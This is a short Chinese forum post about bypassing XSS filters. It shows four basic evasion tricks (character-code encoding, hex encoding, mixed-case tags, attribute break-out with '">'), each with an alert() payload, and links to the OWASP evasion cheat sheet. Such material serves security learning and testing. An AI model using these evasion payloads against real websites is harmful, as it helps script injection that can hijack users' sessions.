找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2159|回复: 0
打印 上一主题 下一主题

XSS 绕过技术

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-14 00:10:39 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
四种超级基础的绕过方法。$ F$ i+ n/ e6 F" K) d1 B2 P
1.转换为ASCII码' ^4 N' A1 \5 f" I9 ^$ K
例子:原脚本为<script>alert(‘I love F4ck’)</script >
1 Q7 Y9 ]3 k# ?通过转换,变成:* r/ @% t! ?  X) X  f9 S
<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 8216, 73, 32, 108, 111, 118, 101, 32, 70, 52, 99, 107, 8217, 41) </script>
0 K- H2 R. D( h3 d+ Q ' c8 n( K$ A! b5 V& ]6 m* T5 @$ A
2.转换为HEX(十六进制)4 l0 y3 j8 E' a/ X1 D. R
例子:原脚本为<script>alert(‘I love F4ck’)</script>
7 u* _1 ~7 K5 u通过转换,变成:) N2 z# x8 g* r0 e2 v
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%2018%49%20%6c%6f%76%65%20%46%34%63%6b%2019%29%3c%2f%73%63%72%69%70%74%3e
; _1 j; ^3 n5 s2 d
; j2 R/ F' G5 k+ x! N3.转换脚本的大小写
  ]( }- e4 S2 q# L9 ^例子:原脚本为<script>alert(‘I love F4ck’)</script>
6 V# [3 }6 s0 x8 J  ^& H& {# U$ n转换为:<ScRipt>AleRt(‘I love F4ck’)</sCRipT>7 s/ ^% N& O" f& W
+ T: S9 U- N9 ~0 \0 t3 h0 O( r0 V
4.增加闭合标记”>
; }5 w: A  @: x7 Y8 [) x6 t例子:原脚本为<script>alert(‘I love F4ck’)</script>
( W6 q0 H0 y* {% \8 T# z转换为:”><script>alert(‘I love F4ck’)</script>  P! Y( R. p" R
更详细绕过技术请参考此网页
" S% O7 b$ J( R/ k' s0 w$ o* [https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
. h' i8 E+ a( Z8 T" q: e' Q( S ( x) o# ^* n' h6 ?+ ?" r# F/ z, S
转换工具使用的是火狐的 hackbar mozilla addon.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表